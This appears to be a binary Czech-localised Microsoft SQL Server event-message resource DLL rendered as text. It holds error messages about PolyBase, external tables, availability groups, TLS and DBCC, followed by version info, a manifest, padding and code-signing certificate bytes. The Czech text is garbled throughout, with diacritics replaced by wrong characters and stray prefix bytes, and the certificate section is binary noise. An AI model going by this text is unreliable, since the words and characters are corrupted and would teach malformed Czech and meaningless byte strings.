�Mo~nost %1!s! mus� b�t nastaven� na ON, aby bylo mo~n� prov�dt dotazy odkazuj�c� na extern� tabulky.

Pomocn� parametr USE PLAN nen� podporovan� pro dotazy, kter� odkazuj� na extern� tabulky. Zva~te odebr�n� pomocn�ho parametru USE PLAN.

�Procedura %1!s! je podporovan� jenom pro extern� zdroje dat typu SHARD_MAP_MANAGER nebo RDBMS.

�VnitYn� odkazy na sloupce nejsou pro extern� tabulky podporovan�.

�Zadan� argument pYesahuje sou
asn� limit velikosti %1!s! B pro proceduru %2!s!.

�Nepovedlo se z�skat n�zev po
�ta
e. PY�
inou mo~e b�t chybn� konfigurace s�t v po
�ta
i. Chyba: %1!s!.

�Nepovedlo se z�skat hodnotu %1!s! z kl�
e registru Windows %2!s!: %3!s!.

�Nepovedlo se odstranit hodnotu %1!s! z kl�
e registru Windows %2!s!: %3!s!.

�Nepovedlo se zmnit hodnotu %1!s! v kl�
i registru Windows %2!s!: %3!s!.

lNepovedlo se otevY�t kl�
 registru %1!s!: %2!s!.

pPro proceduru byl zad�n nespr�vn� po
et parametro.

dProcedura o
ek�v� parametr %1!s! typu %2!s!.

�Mo~nost %1!s! mus� b�t nastaven� na ON, aby bylo mo~n� prov�dt po~adavky odkazuj�c� na extern� tabulky.

Pomocn� parametr USE PLAN nen� podporovan� pro dotazy, kter� odkazuj� na extern� tabulky. Zva~te odebr�n� pomocn�ho parametru USE PLAN.

�PY�kaz INSERT nen� pro extern� tabulky povolen�. Zapnte mo~nost konfigurace allow polybase export.

�Doporu
en� tabulek se nepodporuj� pro dotazy odkazuj�c� na extern� tabulky.

hStara� verze architektury odhadu kardinality nepodporuje dotazy odkazuj�c� na extern� tabulky. Zkontrolujte, ~e pY�znak trasov�n� 9481 nen� povolen�, �roveH kompatibility datab�ze je alespoH 120 a stara� verze architektury odhadu kardinality nen� explicitn povolen� v konfiguraci vymezen� na datab�zi.

�Doalo k vnitYn� chyb pYi pokusu o na
ten� zaaifrovan�ho tajn�ho k�du pYihlaaovac�ch �dajo s rozsahem datab�ze.

�Doalo k vnitYn� chyb pYi pokusu o na
ten� zaaifrovan�ho tajn�ho k�du pYihlaaovac�ch �dajo s rozsahem datab�ze.

�Doalo k vnitYn� chyb pYi pokusu o na
ten� zaaifrovan�ho tajn�ho k�du pYihlaaovac�ch �dajo s rozsahem datab�ze.

�PY�kaz EXECUTE AT DATA_SOURCE nen� pro tento typ extern�ho zdroje dat podporov�n.

(Prov�dn� zYizovac�ho skriptu Polybase na hlavn� datab�zi selhalo. Jedn� se o z�va~nou chybu, kter� mo~e zabr�nit spuatn� instance SQL Serveru. Prostudujte protokol chyb, opravte identifikovan� probl�my a znovu spusete datab�zi, aby jednotliv� kroky dobhly a~ do konce.

�Nen� nainstalovan� funkce PolyBase. Dala� informace o t�to funkci najdete v dokumentaci Knihy online.

|SQL se nepovedlo spustit PolyBase pro k�d chyby 0x%1!s!.

�SQL se nepovedlo spustit po~adavek PolyBase pro k�d chyby 0x%1!s!.

`Typ clusteru skupiny dostupnosti %1!s! neodpov�d� jej� prim�rn� konfiguraci. OvYte, ~e je zadan� typ clusteru skupiny dostupnosti spr�vn�, a zkuste operaci spustit znovu.

�Typ clusteru skupiny dostupnosti %1!s! podporuje pro pYevzet� slu~eb pYi selh�n� jenom re~im RUN. OvYte, ~e je zadan� typ clusteru skupiny dostupnosti spr�vn�, a zkuste operaci spustit znovu.

�Typ clusteru skupiny dostupnosti %1!s! podporuje pro pYevzet� slu~eb pYi selh�n� jenom re~im EXTERN�. OvYte, ~e je zadan� typ clusteru skupiny dostupnosti spr�vn�, a zkuste operaci spustit znovu.

�Typ clusteru skupiny dostupnosti %1!s! podporuje pro pYevzet� slu~eb pYi selh�n� jenom re~imy AUTOMATICKY a RUN . OvYte, ~e je zadan� typ clusteru skupiny dostupnosti spr�vn�, a zkuste operaci spustit znovu.

LTuto operaci nejde prov�st na skupin dostupnosti %1!s!, proto~e tato skupina m� typ clusteru EXTERNAL. K proveden� operace pou~ijte n�stroje na spr�vu clusteru.

pPYed prov�dn�m operac� skupiny dostupnosti je nutn� nedY�v povolit funkci Skupiny dostupnosti Always On pro tuto instanci serveru. Povolte tuto funkci a pak zkuste operaci znovu.

�Nejde se pYipojit ke skupin dostupnosti %1!s!. Vyprael 
asov� limit konfigurace sta~en�. Zkontrolujte prim�rn� konfiguraci, pYipojen� k s�ti a nastaven� br�ny firewall a zkuste operaci zopakovat.

8Operace %1!s! nen� aktu�ln� konfigurac� skupiny dostupnosti povolena. Skupina dostupnosti %2!s! podporuje jen jednu repliku, kter� m� re~im dostupnosti pouze konfigurace. Zkontrolujte, ~e je re~im dostupnosti zadan� skupiny dostupnosti spr�vn�, a potom zkuste operaci zopakovat.

�Operace %1!s! nen� aktu�ln� konfigurac� skupiny dostupnosti povolena. Skupina dostupnosti %2!s! podporuje jen dv repliky synchronn�ho re~imu a required_syncrhonized_secondaries_to_commit je nula, kdy~ je zad�na replika re~imu pouze konfigurace. Zkontrolujte, ~e je re~im dostupnosti zadan� skupiny dostupnosti spr�vn�, a potom zkuste operaci zopakovat.

@Skupina dostupnosti %1!s! nemo~e prov�st pYevzet� slu~eb pYi selh�n� na tuto repliku. Replika pouze pro konfiguraci se nemo~e st�t prim�rn� replikou. Pokus o pYevzet� slu~eb pYi selh�n� pro skupinu dostupnosti selhal. Tato replika je pouze pro konfiguraci a nemo~e se st�t prim�rn�.

Mo~nost %1!s! nen� platn� pro repliku %2!s!, proto~e ta je pouze pro konfiguraci. Tuto mo~nost odeberte a zkuste operaci zopakovat.

�Replice m�stn� dostupnosti pro skupinu dostupnosti %1!s! nejde udlit opr�vnn� vytv�Yet datab�ze. Tato replika je pouze pro konfiguraci a nemo~e hostovat datab�ze uvnitY skupiny dostupnosti.

�U repliky, kter� je jen pro konfiguraci, jde zmnit jen vlastnost SESSION_TIMEOUT.

�Mo~nost %1!s! nen� platn� pro repliku %2!s! pro �pravy. Tuto mo~nost odeberte a zkuste operaci zopakovat.

�Repliku dostupnosti %1!s! nejde pYidat do skupiny dostupnosti %2!s!. Repliky pouze s konfigurac� jde pYidat do pouze skupin dostupnosti s hodnotou CLUSTER_TYPE = EXTERNAL. OvYte nastaven� AVAILABILITY_MODE specifikace repliky a opakujte operaci.

XMo~nost %1!s! nen� platn� pro skupinu dostupnosti WSFC %2!s!. OdstraHte tuto mo~nost nebo nastavte mo~nost CLUSTER_TYPE na jinou hodnotu a potom zkuste operaci znovu.

$Extern� zapoj
en� na skupin dostupnosti %1!s! nelze nastavit. Aktualizace extern�ho zapoj
en� nejsou pro tuto skupinu dostupnosti povoleny.

PKdy~ se aktualizuje stav extern�ho zapoj
en� pro z�pis skupiny dostupnosti na skupin dostupnosti %2!s!, mus� b�t mo~nost %1!s! zad�na s platnou 
asovou hodnotou.

Mo~nost %1!s! mus� b�t zad�na s platnou 
asovou hodnotou, kdy~ se aktualizuje stav extern�ho zapoj
en� na skupin dostupnosti %2!s!.

8Aktu�ln� zapoj
en� pro z�pis skupiny dostupnosti %1!s! je st�le platn�. as vypraen� zapoj
en� nejde nastavit na dY�vja� 
as, ne~ je sou
asn� hodnota.

THodnota READ_WRITE_ROUTING_URL %1!s! zadan� pro repliku dostupnosti %2!s! nen� platn�. NesplHuje po~adovan� form�t TCP://adresa-syst�mu:port. Dala� informace o spr�vn�m form�tu adresy URL smrov�n� naleznete v dokumentaci pY�kazu CREATE AVAILABILITY GROUP na webu Knihy online pro SQL Server.

Specifikace repliky pro m�stn� repliku %1!s! m� neplatn� re~im dostupnosti. Platn� hodnoty jsou SYNCHRONOUS_COMMIT a ASYNCHRONOUS_COMMIT.

�Replika dostupnosti nemo~e pYevz�t slu~by pYi selh�n� skupiny dostupnosti %1!s! kvoli nastaven� CLUSTER_TYPE = NONE. V t�to verzi syst�mu SQL Server se podporuje jenom vynucen� pYevzet� slu~eb pYi selh�n�.

VytvoYen� obsa~en� skupiny dostupnosti %1!s! selhalo. PYed vytvoYen�m obsa~en� skupiny dostupnosti nesm� existovat ~�dn� jin� skupiny dostupnosti. Zkontrolujte, jestli jsou zadan� mo~nosti dostupnosti skupiny dostupnosti spr�vn�, a operaci zopakujte.

�VytvoYen� hlavn� datab�ze obsa~en� skupiny dostupnosti selhalo. Jenom obsa~en� skupina dostupnosti mo~e vytvoYit hlavn� datab�zi obsa~en� skupiny dostupnosti. OvYte, jestli jsou mo~nosti dostupnosti skupiny dostupnosti spr�vn�, a operaci opakujte.

PYipojen� k obsa~en� skupin dostupnosti %1!s! selhalo. OvYte, jestli neexistuje jin� skupina dostupnosti, a operaci opakujte.

PYipojen� k obsa~en� skupin dostupnosti %1!s! selhalo. Zkontrolujte, jestli neexistuj� u~ivatelsk� datab�ze, a opakujte operaci.

PPYipojen� nebo vytvoYen� obsa~en� skupiny dostupnosti %1!s! selhalo. Tato instance SQL serveru nem� povoleno vytv�Yet ani pYipojovat obsa~en� skupiny dostupnosti.

�VytvoYen� distribuovan� skupiny dostupnosti %1!s! selhalo. Distribuovanou skupinu dostupnosti nejde vytvoYit nad obsa~enou skupinou dostupnosti. OvYte n�zev skupiny dostupnosti a operaci opakujte.

Vytv�Yen� obsa~en� skupiny dostupnosti %1!s! selhalo. PYi vytv�Yen� obsa~en� skupiny dostupnosti se mus� do t�to skupiny zahrnout hlavn� datab�ze i datab�ze msdb. PYidejte do pY�kazu CREATE AVAILABILITY GROUP hlavn� datab�zi a datab�zi msdb a operaci opakujte.

\VytvoYen� nebo pYipojen� ke skupin dostupnosti %1!s! selhalo, proto~e existuje obsa~en� skupina dostupnosti. Odeberte obsa~enou skupinu dostupnosti a operaci opakujte.

�PYipojen� ke skupin dostupnosti %1!s! s optovn�m sestaven�m obsa~en� syst�mov� datab�ze selhalo, proto~e selhalo optovn� sestaven� MSDB. Je to t�m, ~e se MSDB st�le pou~�v�. Zkuste operaci znovu pozdji.

�PYipojen� ke skupin dostupnosti %1!s! s optovn�m sestaven�m obsa~en�ch syst�mov�ch datab�z� selhalo, proto~e selhalo optovn� sestaven� hlavn� datab�ze obsa~en� skupiny dostupnosti. PY�
inou je st�le pou~�van� hlavn� datab�ze obsa~en� skupiny dostupnosti. Znovu se pYipojte k hlavn� datab�zi na �rovni instance SQL serveru a zkuste operaci opakovat pozdji.

�PYipojen� ke skupin dostupnosti %1!s! s mo~nost� rebuild_system_databases selhalo. Mo~nost rebuild_system_databases je platn� jenom pro obsa~enou skupinu dostupnosti. Odeberte tuto mo~nost a operaci opakujte.

�Syst�movou datab�zi obsa~en� skupiny dostupnosti %1!s! nejde odebrat z obsa~en� skupiny dostupnosti %2!s!.

`Nejde pYidat datab�zi %1!s! do obsa~en� skupiny dostupnosti %2!s!, proto~e je v seznamu vylou
en�. Odeberte vylou
enou datab�zi ze seznamu datab�z� a zkuste operaci znovu.

(Nejde vytvoYit obsa~en� syst�mov� datab�ze v obsa~en� skupin dostupnosti %1!s!. Mo~n� to zposobily do
asn� podm�nky. Zkuste operaci zopakovat.

�PYipojen� k obsa~en� skupin dostupnosti %1!s! bez optovn�ho sestaven� syst�mov� datab�ze selhalo, proto~e hlavn� datab�ze skupiny dostupnosti %2!s! mla nespr�vn� ID datab�ze %3!s!. Pou~ijte mo~nost rebuild_system_databases nebo odeberte hlavn� datab�zi obsa~en� skupiny dostupnosti ru
n a potom operaci opakujte.

PYipojen� obsa~en� skupiny dostupnosti %1!s! se nepovedlo vytvoYit ID datab�ze hlavn� datab�ze skupiny %2!s!. Zkuste operaci zopakovat.

PNepovedlo se spustit obsa~enou skupinu dostupnosti %1!s!. Bhem spouatn� se nepovedlo na
�st syst�movou datab�zi obsa~en� skupiny dostupnosti %2!s! (ID = %3!s!).

TNepovedlo se spustit obsa~enou skupinu dostupnosti %1!s!. Jedna z obsa~en�ch syst�mov�ch datab�z� (masterdbid = %2!s!, msdbid = %3!s!) se bhem spouatn� nena
etla.

�VytvoYen� obsa~en� skupiny dostupnosti %1!s! selhalo. Jedna z obsa~en�ch syst�mov�ch datab�z� %2!s! existuje. Odeberte ji nebo pYidejte mo~nost reuse_system_databases a pak zkuste operaci opakovat.

�Mo~nost reuse_system_databases je pro vytvoYen� skupiny dostupnosti %1!s! neplatn�. Mo~nost reuse_system_databases se d� pou~�t jenom s obsa~enou skupinou dostupnosti. Opravte tuto mo~nost a operaci zopakujte.

0Nepovedlo se z�skat popisova
 prostYedku pro prostYedek clusteru s n�zvem 
i ID %1!s!. Clusterov� slu~ba pravdpodobn neb~�, nen� v aktu�ln�m stavu pY�stupn� nebo je neplatn� zadan� n�zev 
i ID prostYedku clusteru. Jinak kontaktujte sv�ho prim�rn�ho poskytovatele podpory.

TProcedura o
ek�v� parametry (%1!s!).

|Procedura o
ek�v� parametry (%1!s!, pro verzi _ex %2!s!).

�Procedura o
ek�v� ur
it� po
et parametro (minim�ln %1!s! a maxim�ln %2!s!).

�Z�lohov�n� datab�ze nen� na t�to datab�zi podporov�no, proto~e m� pYipojen� ciz� soubory.

Pokr�vaj�c� roza�Yen� odoln�ho fondu vyrovn�vac� pamti pro ciz� soubor %1!s! se nepovedlo inicializovat s chybou HRESULT 0x%2!s!.

�Datab�ze %1!s! nedovoluje operace automatick�ho spuatn�. Je po~adov�na explicitn� datab�zov� operace ONLINE.

�Hodnota %1!s! mo~nosti %2!s! nen� v t�to verzi syst�mu SQL Server podporov�na.

PPYeskakuje se v�choz� spuatn� datab�ze %1!s!. Datab�ze bude spuatna prostYedky infrastruktury. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Re~imy obnoven� jin� ne~ �pln� nejsou v t�to verzi syst�mu SQL Serveru podporov�ny.

$Chyba: %1!s!.

HChyba: %1!s!. K�d chyby: %2!s!.

�Speci�ln� procedura nen� v aktu�ln� instanci SQL dostupn�.

�Sledov�n� zmn nen� v t�to edici syst�mu SQL Server podporov�no.

�Datab�zi nejde registrovat v map datab�z� str�nkovac�ho serveru.

�PY�kaz DBCC SHRINKFILE pro %1!s! byl zruaen. Ploch� soubor SBS se nepodporuje.

XRegistrace roza�Yen� ulo~en� procedury selhala, proto~e pou~it� cesty UNC pro n�zev knihovny DLL nen� platn�. Pou~ijte m�sto toho pro n�zev knihovny DLL m�stn� cestu.

�Operace DBCC selhala, proto~e nen� podporovan� v explicitn� transakci, kdy~ je u datab�ze povolen� mo~nost zrychlen�ho obnoven� datab�ze. Potvrte nebo vraete zpt aktu�ln� transakci a spusete operaci znovu.

0ID objektu: %1!s!, ID indexu: %2!s!, ID odd�lu: %3!s!, ID alokovan� jednotky: %4!s! (typ: %5!s!), str�nka: %6!s!, Y�dek: %7!s!: X�dek je pYeruaen.

�PY�kaz DBCC SHRINKFILE nen� v t�to verzi syst�mu SQL Server podporov�n.

�PY�kaz DBCC SHRINKFILE pro soubory PMM nen� v t�to verzi syst�mu SQL Server podporov�n.

�Spravovan� instance je zanepr�zdnn� prov�dn�m jin� operace. Zkuste operaci opakovat pozdji.

tSch�ma tabulek vrstven�ho �lo~iat SQL je poakozen�.

`Chyba pYi 
ek�n� na z�padku %1!s! v %2!s!.

�PYi zpracov�n� pY�kazu CREATE FILE doalo k chyb opera
n�ho syst�mu %1!s! pokusu kop�rovat fyzick� soubor %2!s!.

�Po~adavek nejde zpracovat. K jeho zpracov�n� nen� dost prostYedko. Zkuste ji opakovat pozdji.

�Nejde zpracovat ~�dost o vytvoYen� nebo aktualizaci. Pro pYedplatn� %1!s! u~ prob�h� pY�lia mnoho operac� vytvoYen� nebo aktualizace. Zkontrolujte prob�haj�c� operace pomoc� sys.dm_operation_status. Po
kejte na dokon
en� prob�haj�c�ch ~�dost� o vytvoYen�/aktualizaci nebo odstraHte jednu z prob�haj�c�ch ~�dost� o vytvoYen�/aktualizaci a zkuste odeslat ~�dost pozdji.

}�dost nejde zpracovat. Pro pYedplatn� %1!s! prob�h� pY�lia mnoho operac�. Zkontrolujte prob�haj�c� operace pomoc� sys.dm_operation_status a po
kejte na dokon
en� prob�haj�c� operace nebo odstraHte jednu z prob�haj�c�ch ~�dost� a zkuste odeslat ~�dost pozdji.

�Nejde zpracovat ozn�men� %1!s! pro odbr %2!s!, proto~e obsahuje %3!s! podY�zen� prostYedky.

$Odbr %1!s! nepodporuje vytvoYen� datab�ze s vybran�m c�lem na �rovni slu~by %2!s!. Zkuste vytvoYit datab�zi s�jin�m c�lem na �rovni slu~by.

�Datab�zi nejde aktualizovat na bezplatn� c�l na �rovni slu~by.

PNejde inicializovat konfiguraci u~ivatelem zadan�ho certifik�tu. Server se vyp�n�. OvYte, jestli je certifik�t nakonfigurovan� spr�vn. Chyba[%1!s!]. Stav[%2!s!].

�Nejde otevY�t jeden nebo v�ce souboro u~ivatelem zadan�ch certifik�to. OvYte, ~e tyto soubory certifik�to existuj� a ~e maj� spr�vn nakonfigurov�no opr�vnn� ke 
ten� pro u~ivatele a skupinu, kteY� spouat� SQL Server.

Nejde na
�st jeden nebo v�ce souboro u~ivatelem zadan�ch certifik�to. OvYte, ~e jsou tyto soubory certifik�to v podporovan�m form�tu.

�PYi inicializaci konfigurace u~ivatelem zadan�ho certifik�tu doalo k vnitYn� chyb. K�d chyby [%1!s!].

lSeznam povolen�ch verz� protokolu TLS [%1!s!] je neplatn�. OvYte, ~e dodan� 
�sla verz� TLS jsou podporov�na SQL Serverem a ~e jsou tato 
�sla v konfiguraci oddlen� mezerami.

Seznam povolen�ch aifer TLS [%1!s!] je neplatn�. Dala� informace o vytvoYen� seznamu aifer najdete na str�nce docs.microsoft.com.

�PYi inicializaci konfigurace TLS doalo k chyb. K�d chyby [%1!s!].

TNejde inicializovat konfiguraci TLS. Server se vyp�n�. OvYte, ~e jsou seznamy povolen�ch verz� protokolu a aifer TLS nakonfigurov�ny spr�vn. Chybov� stav [%1!s!].

 Serverovou kolaci nejde zmnit, kdy~ jsou pYipojen� u~ivatelsk� datab�ze. PYed zmnou serverov� kolace pros�m u~ivatelsk� datab�ze odpojte.

�Vzd�len� soubor tempdb nejde pYidat do m�stn� skupiny souboro tempdb v pYechodu na prim�rn� repliku.

�Vzd�len� soubor tempdb nejde odebrat z m�stn� skupiny souboro tempdb v pYechodu na prim�rn�.

�4VS_VERSION_INFO������?StringFileInfo�040504B0PlatformNT�XLegalTrademarksMicrosoft SQL Server je registrovan� ochrann� zn�mka spole
nosti Microsoft Corporation. CommentsSQL&GoldenBitsTrueLCompanyNameMicrosoft CorporationVFileDescriptionSQL Event Messages DLLx,FileVersion2019.0150.2000.05 ((SQLServer).190924-2033)2	InternalNameSQLEVN70l$LegalCopyrightMicrosoft. Vaechna pr�va vyhrazena.B
OriginalFilenameSQLEVN70.RLLJProductNameMicrosoft SQL Server<ProductVersion15.0.2000.5DVarFileInfo$Translation�<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level='asInvoker' uiAccess='false' />
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX@?0�?.	*�H��
��?0�?10	+0L
+�7�>0<0
+�70	���0!0	+���󼺫ַ=�RW
�b����0��0�Ơ3'��ߨ��Y'0
	*�H��
0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0
190906203959Z
201204203959Z0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1)0'U Microsoft Operations Puerto Rico1&0$UThales TSS ESN:B8EC-30A4-71441%0#UMicrosoft Time-Stamp Service0�"0
	*�H��
�0�
�Ϸ�>j�.�ͯP��W!\�7��h��m@?}���Ջ��U����$!�����2M{3�<
���2�S�Q�E
��=\�g�#��H1�1x"N��1���ro�Da+��M�?y7�c����C&D���sx��G�����\���XCp��ӵ0��UɄ��o#��f၇b5-�);4Q�v�b�^�Y��ۚ�l��H�а��nw��U�
_
\��:f�5�^
�e��3m�)�:J5�Z��]��	0�0U�
��lA*]�2�_�u��0U#0�#4��RFp
�@�v��+��5�0TUM0K0I�G�E�Chttp://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl0X+L0J0H+0�<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0U%0
+0
	*�H��
�6��ha�f�0_���Q}x�yK�0L(̵�hnгwrlY�6��(�~��P��9&�U�sM,�.�A��E���y@Qu@�©��
w�ħac�sLo�G7�����F�S^��,o�+q A��	μ��F��Ư�U�����)
�5$���]��`E�1�*�R�w�،u�}���FsFۿ*�C=��[G�[�� ߟ�m�@,aб�H,MP���/W��BA�K�����;�L�q�C��o�_����Y0��0�ߠ3�|��`����0
	*�H��
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
190502212033Z
200502212033Z0t10	UUS10U
Washington10URedmond10U
Microsoft Corporation10UMicrosoft Corporation0�"0
	*�H��
�0�
����k*)�i퐭��՗+��IJ���E �Z:p�v�@�'�����Z3qʱ����^(��D�P��sY�Ep;��o�\ �(1���䱚GM<�J��f�,�U�muј^�;�F́X\��N��W���
%�%W�2�J~A��u}�ߋ�Nf
����L��,���i�HqxWw��� ����m.������:d�4���̑����yϼ̕}|�@�n���L`�!mW5�(ӭ
�܉����{0�w0U%0
+0Up���mu���*:'YG�0TUM0K�I0G1-0+U$Microsoft Ireland Operations Limited10U
229803+4541060U#0��p�R4���'���ؽ�mGN0bU[0Y0W�U�S�Qhttp://crl.microsoft.com/pki/crl/products/Microsoft%20Code%20Signing%20PCA(2).crl0f+Z0X0V+0�Jhttp://www.microsoft.com/pki/certs/Microsoft%20Code%20Signing%20PCA(2).crt0
	*�H��
�N��{�b~�=�G@������Q��Q��F�!e^bm�5�Z�꼣�h����9qp�g�&��}ZJI�δ7�909��yD�oTRIn>����X�~�G�L"x���3'��
L8*��D�e��h��JY+{p���X�6����-'����ۦ����b�شx�/.�9��5t��"5>��'���`��$yN`҄�u��J
E�:|�M�:�g�Q��#'$غ�Ȳ�1��
���A\e�0��0���
a5E?0
	*�H��
0_10
	�&���,dcom10
	�&���,d	microsoft1-0+U$Microsoft Root Certificate Authority0
180920174200Z
210509232813Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0�"0
	*�H��
�0�
��������F��fɧ]
~�=���1��ԅ���2����A��7��|W����Z`�1
a�"�|V4b�^Z�.�@*�=�aD؎�6Y�c���������_+�P_�	Ґ頷,DA�eR7,�����,���c�Q����8^|�����)@ߔv*�e��m�'�§���j�Ƨ�f�hw�^��	�R�sQ�*�Q#�I�����P^�Oc?�/���M+q�Y('M��^0�Z0U�0�0U�p�R4���'���ؽ�mGN0U�0	+�70#	+�7<����Up�iB���8��W0	+�7
SubCA0U#0���`@V'��%�*�
S�Y�0PUI0G0E�C�A�?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+0�8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
	*�H��
�={�.�6�B�UO�����9
������"˅yC�����5�˅�->M�Q�$����c������
m.U5�,yaƶM�V&��e��.�<He��D���4
ީ�c����d�U�����e~���0���;��u�]π��q�B��ғ��T�|!�싼�~�)	P�+:�=��W��8��ߚ8Ё�'��y;4���"�e�La<��.2h�)���v�߆)�
㴳�L�gZT�Y'��HBn1L�L��h�#J�T㔕l����(�YD���򨅳=�*�7��=7�8�*G�gY�-�z�w��JI*t7��/��C-�2���LI�����G辞�1d������uI{db��~��g\AG�N6-�7�k�?R����"%�9[�Ez��������d�΋��}��mW[*{ol~�C�
�]�gԋ���Nz���߽4����gn�d��L�3��QpU�\}�ݧU��ǣ�Fz��D��c�}�"u0�0��
ah40
	*�H��
0_10
	�&���,dcom10
	�&���,d	microsoft1-0+U$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0�"0
	*�H��
�0�
���l���H�*|k.���řQ#P���N$�ѧ�L�t0 ��T�I�B���\0&�k�{�������3$����g,�{���N���#Sʍ�E�	�^�аB���l�g�(�FS����(F.'��OUR�,�j��0n��Y0��~֗��!�~����SmR�E��HJGf')f�����J����G	����Ux��P�0F��#F��-T��xA1w̛�;���a�
������"KT���� ���0��0U�0�0U#4��RFp
�@�v��+��5�0U�0	+�70��U#��0�����`@V'��%�*�
S�Y䤡c�a0_10
	�&���,dcom10
	�&���,d	microsoft1-0+U$Microsoft Root Certificate Authority�y��J���LsX�.e0PUI0G0E�C�A�?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+0�8http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0U%0
+0
	*�H��
